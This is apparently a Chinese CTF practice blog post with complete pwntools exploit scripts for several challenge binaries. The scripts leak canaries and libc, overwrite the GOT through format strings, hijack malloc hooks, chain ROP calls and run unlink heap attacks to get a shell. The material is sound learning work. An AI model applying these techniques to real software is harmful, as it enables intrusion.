pwn

forth week

with pwn

Posted by pic4xiu on October 28, 2019

这周佛系做题~~~

2017湖湘杯pwn100

这道题学了个知识点, fork ,感觉还好吧,这题很快就看到了栈溢出,但是想了一会逻辑有点蒙逼,看了看 wp ,就是简单的泄漏 Canary 和 libc ,发现自己真是莫名其妙不敢做题,怎么搞得~~~

__Auther__ = 'niexinming'

from pwn import *
import base64

one = 0x3ac5e

io = process('./pwns')
#getCanary
payload = 'a'*0x102
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
myCanary=io.recv()[268:271]
Canary="\x00"+myCanary
print "Canary:"+hex(u32(Canary))

#getlibc
payload = 'a'*0x151
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
mylibc=io.recv()[347:351]
base_libc=u32(mylibc)-0x18637
print "mylibc_addr:"+hex(base_libc)
one=one+base_libc
payload = 'a'*0x101+Canary+"a"*0xc+p32(one)
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.interactive()

2017湖湘杯pwn200

from pwn import *
p= process('./pwne')
elf = ELF("./pwne", checksec=False)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level = "debug"
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline('Y')
sleep(0.1)
p.sendline("%3$p")
p.recvuntil("0x")
addr = int(p.recvuntil("\n")[:-1],16)
p.recvuntil("GET YOUR AGE:")
p.sendline('123')
libc_base = addr - 393944
info("libc:0x%x",libc_base)
system = libc.symbols['system'] + libc_base
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline('Y')
p.recvuntil("GET YOUR NAME:")
sleep(0.1)
payload = fmtstr_payload(7, {(elf.got['atoi']):system})
p.send(payload)
p.sendline('/bin/sh')
p.recv()
p.recv()
p.interactive()

这题出的怪怪的,写的 wp 也不太好看不过凑合看吧,这个跟着师傅学了一个骚的,学着构造了一下,真的好用~~~ 我之前的思路是通过泄漏栈地址找 stack ,然后填入 one_gadget ,应该也可以,我看看

from pwn import *
p= process('./pwne')
elf = ELF("./pwne", checksec=False)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#context.log_level = "debug"
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline('Y')
sleep(0.1)
p.sendline("%3$p%26$p")
p.recvuntil("0x")
addr = int(p.recvuntil("0x")[:-2],16)
stack = int(p.recvuntil("\n")[:-1],16)
p.recvuntil("GET YOUR AGE:")
p.sendline('123')
libc_base = addr - 393944
stack = stack - 28
info("libc:0x%x",libc_base)
one = 0x5fbc6 + libc_base
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline('Y')
p.recvuntil("GET YOUR NAME:")
sleep(0.1)
payload = fmtstr_payload(7, {(stack):one})
gdb.attach(p)
p.send(payload)
p.sendline('123')
p.recv()
p.recv()
p.interactive()

成功了, 32 位真的 one_gadget 太容易成功了~~~

pwn400

这题出的属实棒,爽歪歪,上 wp

from pwn import *
context.log_level = 'debug'
binary = './profile'
elf = ELF(binary)
libc = elf.libc
p = process('./profile')
def deb():
	gdb.attach(p)
	pause()
def create(length,name,age):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('name len:\n')
    p.sendline(str(length))
    p.recvuntil('name:\n')
    p.sendline(name)
    p.recvuntil(' age:\n')
    p.sendline(age)

def printf():
    p.recvuntil('>')
    p.sendline('2')

def update(length,name,age):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil('namelen:\n')
    p.sendline(str(length))
    p.recvuntil(' name:')
    p.send(name)
    p.recvuntil('age:')
    p.sendline(age)

def exchange(p1,p2):
    p.recvuntil('>')
    p.sendline('4')
    p.recvuntil('Person 1: ')
    p.send(p1)
    p.recvuntil('Person 2: ')
    p.send(p2)

#leak libc
puts_got = elf.got['puts']
printf_got = elf.got['printf']
atoi_got = elf.got['atoi']
create(0x10,'aaaa','1')
print hex(puts_got)
update(-1,p32(puts_got),'1')
printf()
p.recvuntil('name: ')
libc_base = u32(p.recv(4)) - libc.symbols['puts']
log.success('libc_base addr : 0x%x'%libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.success('malloc_hook addr : 0x%x'%malloc_hook)
topchunk_addr = malloc_hook + 0x48
log.success('topchunk addr : 0x%x'%topchunk_addr)
one_gadget = libc_base + 0x3ac69
log.success('one_gadget addr : 0x%x'%one_gadget)
#hijack main_arena->topchunk -> __malloc_hook
exchange(p32(topchunk_addr-12),p32(malloc_hook-0x48+0x1c))
#deb()
update(0x50,p32(one_gadget)*11,'1')
#trigger one_gadegt
p.recvuntil('>')
p.sendline('3')
p.recvuntil('namelen:\n')
p.sendline('20')
p.interactive()

说实话,这题我分析半天都没看见洞,我只看见了一个逻辑漏洞,但是不会利用

        read(0, &buf, 8u);
        strncat((char *)&buf_bss, &buf, nbytes_bss - old_length);

然后就没有了,然后差不多看了 2 个小时吧,受不了了,开始看 wp ,突然发现我还菜啊~~~~

事实上这题还是很绕的,我们来分析一下 - 首先输入时如果字节大于 8 就直接 malloc 一个,然后存到 bss 的指针里 - 而如果小于 8 的话直接存到上述存指针变量的变量里

在 update 中,有一个格式不匹配溢出,可以输入 -1 然后任意字节输入,虽然没什么用,真正的漏洞是任意地址泄漏,即 print 函数,但是要注意输入的长度一定要

  if ( (signed int)nbytes_bss <= 0 || (signed int)nbytes_bss > 8 )
  {
    printf("Your name: %s\n", buf_bss);
    result = printf("Your age: %d\n", age_bss);
  }

这题这漏洞我都没看见,感觉被一个假洞坑害了~~~

这题学到了,通过 exchange 函数可以把 malloc_hook 和 top_chunk 交换,让 top_chunk_addr 变为 malloc_hook 附近的地址,这里注意一下,和 64 位类似,注意一下对齐.然后直接在上边添 one_gadget 就完事了,理解了还是很简单的~~~

UNCTF Soso_easy_pwn

# coding=utf-8
from pwn import *
p=process('./pwn',aslr=0)
p.recvuntil("Welcome our the ")
data=hex(int(p.recvline()[:5]))
sh_addr=int(data+'59cd',16)
print "sh_addr="+hex(sh_addr)
p.recvuntil("So, Can you tell me your name?")
gdb.attach(p)
pause()
payload=12*'a'+p32(sh_addr)
p.send(payload)
p.recvuntil(":")
p.sendline("3")
p.interactive()

这题没办法,只能 1/16 几率成功,多跑几次或直接开个循环

本来我看这题的时候看傻了,没发现有个后门,想着有 canary 和 pie 怎么搞啊,结果这么简单,什么辣鸡~~~ 这题出的感觉还挺活的,让我这种辣鸡无所适从~~~

UNCTF babyrop

# coding=utf-8
from pwn import *
import struct
from LibcSearcher import *
import time

p=process('./babyrop')
e=ELF('./babyrop')
libc=e.libc
p.recvuntil("Hello CTFer!")
payload=(0x2c-0xc)*'a'+'ffff'
p.sendline(payload)
vul_addr=0x0804853D
puts_plt=e.symbols['puts']
puts_got=e.got['puts']
p.recvuntil("What is your name?")
payload=(0x10+0x4)*'a'+p32(puts_plt)+p32(vul_addr)+p32(puts_got)
p.sendline(payload)
data=p.recvline()
puts_addr=u32(p.recv(4))
libc_puts_addr=libc.symbols['puts']
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("puts", puts_addr)
libc_base=puts_addr-obj.dump("puts")
system_addr=libc_base+obj.dump("system")        #system 偏移
print 'system'+hex(system_addr)
sh_addr=libc_base+obj.dump("str_bin_sh")    #/bin/sh 偏移
p.recvuntil("What is your name?")
ret_addr=0x0804839e
payload=(0x10+0x4)*'a'+p32(ret_addr)+p32(system_addr)+'aaaa'+p32(sh_addr)
p.sendline(payload)
p.interactive()

第一次看见直接用 LibcSearcher 通杀的

suctf pwn5

from pwn import *
p = process('./supwn5')
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(size):
	p.sendlineafter('please chooice :\n','1')
	p.sendlineafter('please input the size : \n',str(size))
def free(ind):
	p.sendlineafter('please chooice :\n','2')
	p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
	p.sendlineafter('please chooice :\n','4')
	p.sendlineafter('which one do you want modify :\n',str(ind))
	p.sendafter('please input the content',content)


new(0x80)
new(0x80)
new(1)
payload = p64(0)+p64(0x81)+p64(0x06020C0-24)+p64(0x06020C0-16)
payload = payload.ljust(0x80)
payload+=p64(0x80)+p64(0x90)
edit(0,payload)
free(1)
pay = p64(0)*3+p64(elf.got['puts'])+p64(0x06020C0-24)*5
edit(0,pay)
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n','0')
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - libc.symbols['puts']
print hex(libc_base)
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
pay = p64(0)*3+p64(free_hook)+p64(0x06020C0-24)*5
edit(1,pay)
gdb.attach(p)
one=libc_base+0x4526a
edit(0,p64(one))
free(1)
p.interactive()

简单的堆溢出,首先考虑 unlink ,因为实在是太好用了~~~

this


from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x080486f6'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

shellcode="flag"

elf = ELF('./pwnme2')
exec_string=elf.symbols['exec_string']
print "%x" % exec_string
scanf_addr = elf.symbols['gets']
print "%x" % scanf_addr
bss_addr = elf.bss()
print "%x" % bss_addr
offset = 0x70

io = process('./pwnme2')

#io = remote('104.224.169.128', 18887)

payload = 'A' * offset
payload += p32(scanf_addr) 
payload += p32(exec_string)   
payload += p32(bss_addr+0x20) 

#debug()
io.sendline(payload)
io.sendline(shellcode)

io.interactive()

io.close()

被师傅思路折服了,其实这题很简单,我发现我自己真是不擅长用后门, tcl ,我看这题以为只有一个溢出,没有泄漏怎么搞,我傻了,发现有后门~~~

师傅太狠了,猜出路径写 bss 里直接调用了,太骚了~~~~